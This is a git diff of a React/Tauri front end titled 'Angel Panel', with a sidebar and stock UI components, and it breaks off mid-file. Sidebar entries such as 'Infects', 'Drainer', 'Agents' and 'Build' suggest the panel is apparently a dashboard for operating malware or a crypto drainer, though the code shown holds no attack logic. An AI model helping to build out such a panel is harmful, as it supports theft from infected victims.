<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="35.93" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 228"><path fill="#00D8FF" d="M210.483 73.824a171.49 171.49 0 0 0-8.24-2.597c.465-1.9.893-3.777 1.273-5.621c6.238-30.281 2.16-54.676-11.769-62.708c-13.355-7.7-35.196.329-57.254 19.526a171.23 171.23 0 0 0-6.375 5.848a155.866 155.866 0 0 0-4.241-3.917C100.759 3.829 77.587-4.822 63.673 3.233C50.33 10.957 46.379 33.89 51.995 62.588a170.974 170.974 0 0 0 1.892 8.48c-3.28.932-6.445 1.924-9.474 2.98C17.309 83.498 0 98.307 0 113.668c0 15.865 18.582 31.778 46.812 41.427a145.52 145.52 0 0 0 6.921 2.165a167.467 167.467 0 0 0-2.01 9.138c-5.354 28.2-1.173 50.591 12.134 58.266c13.744 7.926 36.812-.22 59.273-19.855a145.567 145.567 0 0 0 5.342-4.923a168.064 168.064 0 0 0 6.92 6.314c21.758 18.722 43.246 26.282 56.54 18.586c13.731-7.949 18.194-32.003 12.4-61.268a145.016 145.016 0 0 0-1.535-6.842c1.62-.48 3.21-.974 4.76-1.488c29.348-9.723 48.443-25.443 48.443-41.52c0-15.417-17.868-30.326-45.517-39.844Zm-6.365 70.984c-1.4.463-2.836.91-4.3 1.345c-3.24-10.257-7.612-21.163-12.963-32.432c5.106-11 9.31-21.767 12.459-31.957c2.619.758 5.16 1.557 7.61 2.4c23.69 8.156 38.14 20.213 38.14 29.504c0 9.896-15.606 22.743-40.946 31.14Zm-10.514 20.834c2.562 12.94 2.927 24.64 1.23 33.787c-1.524 8.219-4.59 13.698-8.382 15.893c-8.067 4.67-25.32-1.4-43.927-17.412a156.726 156.726 0 0 1-6.437-5.87c7.214-7.889 14.423-17.06 21.459-27.246c12.376-1.098 24.068-2.894 34.671-5.345a134.17 134.17 0 0 1 1.386 6.193ZM87.276 214.515c-7.882 2.783-14.16 2.863-17.955.675c-8.075-4.657-11.432-22.636-6.853-46.752a156.923 156.923 0 0 1 1.869-8.499c10.486 2.32 22.093 3.988 34.498 4.994c7.084 9.967 14.501 19.128 21.976 27.15a134.668 134.668 0 0 1-4.877 4.492c-9.933 8.682-19.886 14.842-28.658 17.94ZM50.35 144.747c-12.483-4.267-22.792-9.812-29.858-15.863c-6.35-5.437-9.555-10.836-9.555-15.216c0-9.322 13.897-21.212 37.076-29.293c2.813-.98 5.757-1.905 8.812-2.773c3.204 10.42 7.406 21.315 12.477 32.332c-5.137 11.18-9.399 22.249-12.634 32.792a134.718 134.718 0 0 1-6.318-1.979Zm12.378-84.26c-4.811-24.587-1.616-43.134 6.425-47.789c8.564-4.958 27.502 2.111 47.463 19.835a144.318 144.318 0 0 1 3.841 3.545c-7.438 7.987-14.787 17.08-21.808 26.988c-12.04 1.116-23.565 2.908-34.161 5.309a160.342 160.342 0 0 1-1.76-7.887Zm110.427 27.268a347.8 347.8 0 0 0-7.785-12.803c8.168 1.033 15.994 2.404 23.343 4.08c-2.206 7.072-4.956 14.465-8.193 22.045a381.151 381.151 0 0 0-7.365-13.322Zm-45.032-43.861c5.044 5.465 10.096 11.566 15.065 18.186a322.04 322.04 0 0 0-30.257-.006c4.974-6.559 10.069-12.652 15.192-18.18ZM82.802 87.83a323.167 323.167 0 0 0-7.227 13.238c-3.184-7.553-5.909-14.98-8.134-22.152c7.304-1.634 15.093-2.97 23.209-3.984a321.524 321.524 0 0 0-7.848 12.897Zm8.081 65.352c-8.385-.936-16.291-2.203-23.593-3.793c2.26-7.3 5.045-14.885 8.298-22.6a321.187 321.187 0 0 0 7.257 13.246c2.594 4.48 5.28 8.868 8.038 13.147Zm37.542 31.03c-5.184-5.592-10.354-11.779-15.403-18.433c4.902.192 9.899.29 14.978.29c5.218 0 10.376-.117 15.453-.343c-4.985 6.774-10.018 12.97-15.028 18.486Zm52.198-57.817c3.422 7.8 6.306 15.345 8.596 22.52c-7.422 1.694-15.436 3.058-23.88 4.071a382.417 382.417 0 0 0 7.859-13.026a347.403 347.403 0 0 0 7.425-13.565Zm-16.898 8.101a358.557 358.557 0 0 1-12.281 19.815a329.4 329.4 0 0 1-23.444.823c-7.967 0-15.716-.248-23.178-.732a310.202 310.202 0 0 1-12.513-19.846h.001a307.41 307.41 0 0 1-10.923-20.627a310.278 310.278 0 0 1 10.89-20.637l-.001.001a307.318 307.318 0 0 1 12.413-19.761c7.613-.576 15.42-.876 23.31-.876H128c7.926 0 15.743.303 23.354.883a329.357 329.357 0 0 1 12.335 19.695a358.489 358.489 0 0 1 11.036 20.54a329.472 329.472 0 0 1-11 20.722Zm22.56-122.124c8.572 4.944 11.906 24.881 6.52 51.026c-.344 1.668-.73 3.367-1.15 5.09c-10.622-2.452-22.155-4.275-34.23-5.408c-7.034-10.017-14.323-19.124-21.64-27.008a160.789 160.789 0 0 1 5.888-5.4c18.9-16.447 36.564-22.941 44.612-18.3ZM128 90.808c12.625 0 22.86 10.235 22.86 22.86s-10.235 22.86-22.86 22.86s-22.86-10.235-22.86-22.86s10.235-22.86 22.86-22.86Z"></path></svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
199
full/Angel-client/src/components/sidebar.tsx
Normal file
@@ -0,0 +1,199 @@
|
||||
import {
|
||||
Calendar,
|
||||
Home,
|
||||
Inbox,
|
||||
Search,
|
||||
Settings,
|
||||
Boxes,
|
||||
ChartNoAxesCombined,
|
||||
Waypoints,
|
||||
DatabaseBackup,
|
||||
ReceiptText,
|
||||
Computer,
|
||||
HardDrive,
|
||||
Dot,
|
||||
} from "lucide-react";
|
||||
import { invoke } from "@tauri-apps/api/core";
|
||||
import { useState, useEffect } from "react";
|
||||
import {
|
||||
Sidebar,
|
||||
SidebarContent,
|
||||
SidebarGroup,
|
||||
SidebarGroupContent,
|
||||
SidebarGroupLabel,
|
||||
SidebarMenu,
|
||||
SidebarMenuButton,
|
||||
SidebarMenuItem,
|
||||
SidebarSeparator,
|
||||
SidebarMenuSub,
|
||||
SidebarMenuSubItem,
|
||||
} from "@/components/ui/sidebar";
|
||||
import {
|
||||
CollapsibleTrigger,
|
||||
Collapsible,
|
||||
CollapsibleContent,
|
||||
} from "@/components/ui/collapsible";
|
||||
const settingsitems = [
|
||||
{
|
||||
title: "Preferences",
|
||||
url: "#",
|
||||
icon: Waypoints,
|
||||
},
|
||||
{
|
||||
title: "Privacy Policy",
|
||||
url: "#",
|
||||
icon: DatabaseBackup,
|
||||
},
|
||||
{
|
||||
title: "Terms & Conditions",
|
||||
url: "#",
|
||||
icon: ReceiptText,
|
||||
},
|
||||
];
|
||||
|
||||
const dashitems = [
|
||||
{
|
||||
title: "Agents",
|
||||
url: "#",
|
||||
icon: Computer,
|
||||
},
|
||||
{
|
||||
title: "Build",
|
||||
url: "#",
|
||||
icon: Boxes,
|
||||
},
|
||||
];
|
||||
|
||||
const DashSidebar = () => {
|
||||
const [versionApp, setVersionApp] = useState("");
|
||||
|
||||
useEffect(() => {
|
||||
const fetchVersion = async () => {
|
||||
const version: string = await invoke("get_app_version");
|
||||
setVersionApp(version);
|
||||
};
|
||||
|
||||
fetchVersion();
|
||||
}, []);
|
||||
|
||||
const new_messages = true;
|
||||
const messages = ["meow", "meow"];
|
||||
|
||||
return (
|
||||
<Sidebar className="mt-10 border-b border-gray-400">
|
||||
<SidebarContent className="bg-gray-100">
|
||||
<SidebarGroup>
|
||||
<SidebarGroupLabel>Angel Panel v{versionApp}</SidebarGroupLabel>
|
||||
<SidebarGroupContent>
|
||||
<SidebarMenu>
|
||||
<SidebarMenuItem key="Inbox" className="mt-3">
|
||||
<SidebarMenuButton asChild className="outline-gray-200">
|
||||
<a href="#" className="relative flex items-center">
|
||||
<Inbox />
|
||||
<span>Inbox</span>
|
||||
|
||||
{new_messages && (
|
||||
<div className="absolute right-0 flex items-center -ml-1 mr-3">
|
||||
<Dot size={26} color="#ff6161" strokeWidth={2.75} />
|
||||
<span>{messages.length}</span>
|
||||
</div>
|
||||
)}
|
||||
</a>
|
||||
</SidebarMenuButton>
|
||||
</SidebarMenuItem>
|
||||
</SidebarMenu>
|
||||
</SidebarGroupContent>
|
||||
</SidebarGroup>
|
||||
<SidebarSeparator />
|
||||
<SidebarGroup>
|
||||
<SidebarGroupContent>
|
||||
<SidebarMenu>
|
||||
<Collapsible defaultOpen className="group/collapsible">
|
||||
<SidebarMenuItem>
|
||||
<CollapsibleTrigger asChild>
|
||||
<SidebarMenuButton asChild>
|
||||
<a href="#">
|
||||
<ChartNoAxesCombined />
|
||||
<span>Analytics</span>
|
||||
</a>
|
||||
</SidebarMenuButton>
|
||||
</CollapsibleTrigger>
|
||||
|
||||
<CollapsibleContent>
|
||||
<SidebarMenuSub>
|
||||
<SidebarMenuSubItem key="Overview">
|
||||
<SidebarMenuButton asChild>
|
||||
<a href="#">
|
||||
<span>Overview</span>
|
||||
</a>
|
||||
</SidebarMenuButton>
|
||||
</SidebarMenuSubItem>
|
||||
<SidebarMenuSubItem key="Infects">
|
||||
<SidebarMenuButton asChild>
|
||||
<a href="#">
|
||||
<span>Infects</span>
|
||||
</a>
|
||||
</SidebarMenuButton>
|
||||
</SidebarMenuSubItem>
|
||||
<SidebarMenuSubItem key="Drainer">
|
||||
<SidebarMenuButton asChild>
|
||||
<a href="#">
|
||||
<span>Drainer</span>
|
||||
</a>
|
||||
</SidebarMenuButton>
|
||||
</SidebarMenuSubItem>
|
||||
</SidebarMenuSub>
|
||||
</CollapsibleContent>
|
||||
</SidebarMenuItem>
|
||||
</Collapsible>
|
||||
{dashitems.map((item) => (
|
||||
<SidebarMenuItem key={item.title}>
|
||||
<SidebarMenuButton asChild>
|
||||
<a href={item.url}>
|
||||
<item.icon />
|
||||
<span>{item.title}</span>
|
||||
</a>
|
||||
</SidebarMenuButton>
|
||||
</SidebarMenuItem>
|
||||
))}
|
||||
</SidebarMenu>
|
||||
</SidebarGroupContent>
|
||||
</SidebarGroup>
|
||||
<SidebarSeparator />
|
||||
<SidebarGroup>
|
||||
<SidebarGroupContent>
|
||||
<SidebarMenu>
|
||||
{settingsitems.map((item) => (
|
||||
<SidebarMenuItem key={item.title}>
|
||||
<SidebarMenuButton asChild>
|
||||
<a href={item.url}>
|
||||
<item.icon />
|
||||
<span>{item.title}</span>
|
||||
</a>
|
||||
</SidebarMenuButton>
|
||||
</SidebarMenuItem>
|
||||
))}
|
||||
</SidebarMenu>
|
||||
</SidebarGroupContent>
|
||||
</SidebarGroup>
|
||||
<SidebarSeparator />
|
||||
<SidebarGroup>
|
||||
<SidebarGroupContent>
|
||||
<SidebarMenu>
|
||||
<SidebarMenuItem key="Settings">
|
||||
<SidebarMenuButton asChild>
|
||||
<a href="#">
|
||||
<Settings />
|
||||
<span>Settings</span>
|
||||
</a>
|
||||
</SidebarMenuButton>
|
||||
</SidebarMenuItem>
|
||||
</SidebarMenu>
|
||||
</SidebarGroupContent>
|
||||
</SidebarGroup>
|
||||
</SidebarContent>
|
||||
</Sidebar>
|
||||
);
|
||||
};
|
||||
|
||||
export default DashSidebar;
|
||||
59
full/Angel-client/src/components/ui/alert.tsx
Normal file
@@ -0,0 +1,59 @@
|
||||
import * as React from "react"
|
||||
import { cva, type VariantProps } from "class-variance-authority"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const alertVariants = cva(
|
||||
"relative w-full rounded-lg border px-4 py-3 text-sm [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground [&>svg~*]:pl-7",
|
||||
{
|
||||
variants: {
|
||||
variant: {
|
||||
default: "bg-background text-foreground",
|
||||
destructive:
|
||||
"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
|
||||
},
|
||||
},
|
||||
defaultVariants: {
|
||||
variant: "default",
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
const Alert = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.HTMLAttributes<HTMLDivElement> & VariantProps<typeof alertVariants>
|
||||
>(({ className, variant, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
role="alert"
|
||||
className={cn(alertVariants({ variant }), className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
Alert.displayName = "Alert"
|
||||
|
||||
const AlertTitle = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLHeadingElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<h5
|
||||
ref={ref}
|
||||
className={cn("mb-1 font-medium leading-none tracking-tight", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
AlertTitle.displayName = "AlertTitle"
|
||||
|
||||
const AlertDescription = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLParagraphElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn("text-sm [&_p]:leading-relaxed", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
AlertDescription.displayName = "AlertDescription"
|
||||
|
||||
export { Alert, AlertTitle, AlertDescription }
|
||||
48
full/Angel-client/src/components/ui/avatar.tsx
Normal file
@@ -0,0 +1,48 @@
|
||||
import * as React from "react"
|
||||
import * as AvatarPrimitive from "@radix-ui/react-avatar"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Avatar = React.forwardRef<
|
||||
React.ElementRef<typeof AvatarPrimitive.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Root>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<AvatarPrimitive.Root
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
Avatar.displayName = AvatarPrimitive.Root.displayName
|
||||
|
||||
const AvatarImage = React.forwardRef<
|
||||
React.ElementRef<typeof AvatarPrimitive.Image>,
|
||||
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Image>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<AvatarPrimitive.Image
|
||||
ref={ref}
|
||||
className={cn("aspect-square h-full w-full", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
AvatarImage.displayName = AvatarPrimitive.Image.displayName
|
||||
|
||||
const AvatarFallback = React.forwardRef<
|
||||
React.ElementRef<typeof AvatarPrimitive.Fallback>,
|
||||
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Fallback>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<AvatarPrimitive.Fallback
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"flex h-full w-full items-center justify-center rounded-full bg-muted",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
AvatarFallback.displayName = AvatarPrimitive.Fallback.displayName
|
||||
|
||||
export { Avatar, AvatarImage, AvatarFallback }
|
||||
57
full/Angel-client/src/components/ui/button.tsx
Normal file
@@ -0,0 +1,57 @@
|
||||
import * as React from "react"
|
||||
import { Slot } from "@radix-ui/react-slot"
|
||||
import { cva, type VariantProps } from "class-variance-authority"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const buttonVariants = cva(
|
||||
"inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",
|
||||
{
|
||||
variants: {
|
||||
variant: {
|
||||
default:
|
||||
"bg-primary text-primary-foreground shadow hover:bg-primary/90",
|
||||
destructive:
|
||||
"bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",
|
||||
outline:
|
||||
"border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
|
||||
secondary:
|
||||
"bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",
|
||||
ghost: "hover:bg-accent hover:text-accent-foreground",
|
||||
link: "text-primary underline-offset-4 hover:underline",
|
||||
},
|
||||
size: {
|
||||
default: "h-9 px-4 py-2",
|
||||
sm: "h-8 rounded-md px-3 text-xs",
|
||||
lg: "h-10 rounded-md px-8",
|
||||
icon: "h-9 w-9",
|
||||
},
|
||||
},
|
||||
defaultVariants: {
|
||||
variant: "default",
|
||||
size: "default",
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
export interface ButtonProps
|
||||
extends React.ButtonHTMLAttributes<HTMLButtonElement>,
|
||||
VariantProps<typeof buttonVariants> {
|
||||
asChild?: boolean
|
||||
}
|
||||
|
||||
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
|
||||
({ className, variant, size, asChild = false, ...props }, ref) => {
|
||||
const Comp = asChild ? Slot : "button"
|
||||
return (
|
||||
<Comp
|
||||
className={cn(buttonVariants({ variant, size, className }))}
|
||||
ref={ref}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
}
|
||||
)
|
||||
Button.displayName = "Button"
|
||||
|
||||
export { Button, buttonVariants }
|
||||
76
full/Angel-client/src/components/ui/card.tsx
Normal file
@@ -0,0 +1,76 @@
|
||||
import * as React from "react"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Card = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.HTMLAttributes<HTMLDivElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"rounded-xl border bg-card text-card-foreground shadow",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
Card.displayName = "Card"
|
||||
|
||||
const CardHeader = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.HTMLAttributes<HTMLDivElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn("flex flex-col space-y-1.5 p-6", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
CardHeader.displayName = "CardHeader"
|
||||
|
||||
const CardTitle = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLHeadingElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<h3
|
||||
ref={ref}
|
||||
className={cn("font-semibold leading-none tracking-tight", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
CardTitle.displayName = "CardTitle"
|
||||
|
||||
const CardDescription = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLParagraphElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<p
|
||||
ref={ref}
|
||||
className={cn("text-sm text-muted-foreground", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
CardDescription.displayName = "CardDescription"
|
||||
|
||||
const CardContent = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.HTMLAttributes<HTMLDivElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div ref={ref} className={cn("p-6 pt-0", className)} {...props} />
|
||||
))
|
||||
CardContent.displayName = "CardContent"
|
||||
|
||||
const CardFooter = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.HTMLAttributes<HTMLDivElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn("flex items-center p-6 pt-0", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
CardFooter.displayName = "CardFooter"
|
||||
|
||||
export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }
|
||||
28
full/Angel-client/src/components/ui/checkbox.tsx
Normal file
@@ -0,0 +1,28 @@
|
||||
import * as React from "react"
|
||||
import * as CheckboxPrimitive from "@radix-ui/react-checkbox"
|
||||
import { CheckIcon } from "@radix-ui/react-icons"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Checkbox = React.forwardRef<
|
||||
React.ElementRef<typeof CheckboxPrimitive.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof CheckboxPrimitive.Root>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<CheckboxPrimitive.Root
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"peer h-4 w-4 shrink-0 rounded-sm border border-primary shadow focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
<CheckboxPrimitive.Indicator
|
||||
className={cn("flex items-center justify-center text-current")}
|
||||
>
|
||||
<CheckIcon className="h-4 w-4" />
|
||||
</CheckboxPrimitive.Indicator>
|
||||
</CheckboxPrimitive.Root>
|
||||
))
|
||||
Checkbox.displayName = CheckboxPrimitive.Root.displayName
|
||||
|
||||
export { Checkbox }
|
||||
9
full/Angel-client/src/components/ui/collapsible.tsx
Normal file
@@ -0,0 +1,9 @@
|
||||
import * as CollapsiblePrimitive from "@radix-ui/react-collapsible"
|
||||
|
||||
const Collapsible = CollapsiblePrimitive.Root
|
||||
|
||||
const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger
|
||||
|
||||
const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent
|
||||
|
||||
export { Collapsible, CollapsibleTrigger, CollapsibleContent }
|
||||
153
full/Angel-client/src/components/ui/command.tsx
Normal file
@@ -0,0 +1,153 @@
|
||||
import * as React from "react"
|
||||
import { type DialogProps } from "@radix-ui/react-dialog"
|
||||
import { MagnifyingGlassIcon } from "@radix-ui/react-icons"
|
||||
import { Command as CommandPrimitive } from "cmdk"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
import { Dialog, DialogContent } from "@/components/ui/dialog"
|
||||
|
||||
const Command = React.forwardRef<
|
||||
React.ElementRef<typeof CommandPrimitive>,
|
||||
React.ComponentPropsWithoutRef<typeof CommandPrimitive>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<CommandPrimitive
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"flex h-full w-full flex-col overflow-hidden rounded-md bg-popover text-popover-foreground",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
Command.displayName = CommandPrimitive.displayName
|
||||
|
||||
interface CommandDialogProps extends DialogProps {}
|
||||
|
||||
const CommandDialog = ({ children, ...props }: CommandDialogProps) => {
|
||||
return (
|
||||
<Dialog {...props}>
|
||||
<DialogContent className="overflow-hidden p-0">
|
||||
<Command className="[&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:font-medium [&_[cmdk-group-heading]]:text-muted-foreground [&_[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0 [&_[cmdk-group]]:px-2 [&_[cmdk-input-wrapper]_svg]:h-5 [&_[cmdk-input-wrapper]_svg]:w-5 [&_[cmdk-input]]:h-12 [&_[cmdk-item]]:px-2 [&_[cmdk-item]]:py-3 [&_[cmdk-item]_svg]:h-5 [&_[cmdk-item]_svg]:w-5">
|
||||
{children}
|
||||
</Command>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
)
|
||||
}
|
||||
|
||||
const CommandInput = React.forwardRef<
|
||||
React.ElementRef<typeof CommandPrimitive.Input>,
|
||||
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Input>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div className="flex items-center border-b px-3" cmdk-input-wrapper="">
|
||||
<MagnifyingGlassIcon className="mr-2 h-4 w-4 shrink-0 opacity-50" />
|
||||
<CommandPrimitive.Input
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"flex h-10 w-full rounded-md bg-transparent py-3 text-sm outline-none placeholder:text-muted-foreground disabled:cursor-not-allowed disabled:opacity-50",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
</div>
|
||||
))
|
||||
|
||||
CommandInput.displayName = CommandPrimitive.Input.displayName
|
||||
|
||||
const CommandList = React.forwardRef<
|
||||
React.ElementRef<typeof CommandPrimitive.List>,
|
||||
React.ComponentPropsWithoutRef<typeof CommandPrimitive.List>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<CommandPrimitive.List
|
||||
ref={ref}
|
||||
className={cn("max-h-[300px] overflow-y-auto overflow-x-hidden", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
|
||||
CommandList.displayName = CommandPrimitive.List.displayName
|
||||
|
||||
const CommandEmpty = React.forwardRef<
|
||||
React.ElementRef<typeof CommandPrimitive.Empty>,
|
||||
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Empty>
|
||||
>((props, ref) => (
|
||||
<CommandPrimitive.Empty
|
||||
ref={ref}
|
||||
className="py-6 text-center text-sm"
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
|
||||
CommandEmpty.displayName = CommandPrimitive.Empty.displayName
|
||||
|
||||
const CommandGroup = React.forwardRef<
|
||||
React.ElementRef<typeof CommandPrimitive.Group>,
|
||||
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Group>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<CommandPrimitive.Group
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"overflow-hidden p-1 text-foreground [&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:py-1.5 [&_[cmdk-group-heading]]:text-xs [&_[cmdk-group-heading]]:font-medium [&_[cmdk-group-heading]]:text-muted-foreground",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
|
||||
CommandGroup.displayName = CommandPrimitive.Group.displayName
|
||||
|
||||
const CommandSeparator = React.forwardRef<
|
||||
React.ElementRef<typeof CommandPrimitive.Separator>,
|
||||
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Separator>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<CommandPrimitive.Separator
|
||||
ref={ref}
|
||||
className={cn("-mx-1 h-px bg-border", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
CommandSeparator.displayName = CommandPrimitive.Separator.displayName
|
||||
|
||||
const CommandItem = React.forwardRef<
|
||||
React.ElementRef<typeof CommandPrimitive.Item>,
|
||||
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Item>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<CommandPrimitive.Item
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none data-[disabled=true]:pointer-events-none data-[selected=true]:bg-accent data-[selected=true]:text-accent-foreground data-[disabled=true]:opacity-50",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
|
||||
CommandItem.displayName = CommandPrimitive.Item.displayName
|
||||
|
||||
const CommandShortcut = ({
|
||||
className,
|
||||
...props
|
||||
}: React.HTMLAttributes<HTMLSpanElement>) => {
|
||||
return (
|
||||
<span
|
||||
className={cn(
|
||||
"ml-auto text-xs tracking-widest text-muted-foreground",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
}
|
||||
CommandShortcut.displayName = "CommandShortcut"
|
||||
|
||||
export {
|
||||
Command,
|
||||
CommandDialog,
|
||||
CommandInput,
|
||||
CommandList,
|
||||
CommandEmpty,
|
||||
CommandGroup,
|
||||
CommandItem,
|
||||
CommandShortcut,
|
||||
CommandSeparator,
|
||||
}
|
||||
202
full/Angel-client/src/components/ui/context-menu.tsx
Normal file
@@ -0,0 +1,202 @@
|
||||
import * as React from "react"
|
||||
import * as ContextMenuPrimitive from "@radix-ui/react-context-menu"
|
||||
import {
|
||||
CheckIcon,
|
||||
ChevronRightIcon,
|
||||
DotFilledIcon,
|
||||
} from "@radix-ui/react-icons"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const ContextMenu = ContextMenuPrimitive.Root
|
||||
|
||||
const ContextMenuTrigger = ContextMenuPrimitive.Trigger
|
||||
|
||||
const ContextMenuGroup = ContextMenuPrimitive.Group
|
||||
|
||||
const ContextMenuPortal = ContextMenuPrimitive.Portal
|
||||
|
||||
const ContextMenuSub = ContextMenuPrimitive.Sub
|
||||
|
||||
const ContextMenuRadioGroup = ContextMenuPrimitive.RadioGroup
|
||||
|
||||
const ContextMenuSubTrigger = React.forwardRef<
|
||||
React.ElementRef<typeof ContextMenuPrimitive.SubTrigger>,
|
||||
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.SubTrigger> & {
|
||||
inset?: boolean
|
||||
}
|
||||
>(({ className, inset, children, ...props }, ref) => (
|
||||
<ContextMenuPrimitive.SubTrigger
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground",
|
||||
inset && "pl-8",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
<ChevronRightIcon className="ml-auto h-4 w-4" />
|
||||
</ContextMenuPrimitive.SubTrigger>
|
||||
))
|
||||
ContextMenuSubTrigger.displayName = ContextMenuPrimitive.SubTrigger.displayName
|
||||
|
||||
const ContextMenuSubContent = React.forwardRef<
|
||||
React.ElementRef<typeof ContextMenuPrimitive.SubContent>,
|
||||
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.SubContent>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ContextMenuPrimitive.SubContent
|
||||
ref={ref}
|
||||
className={cn(
|
||||
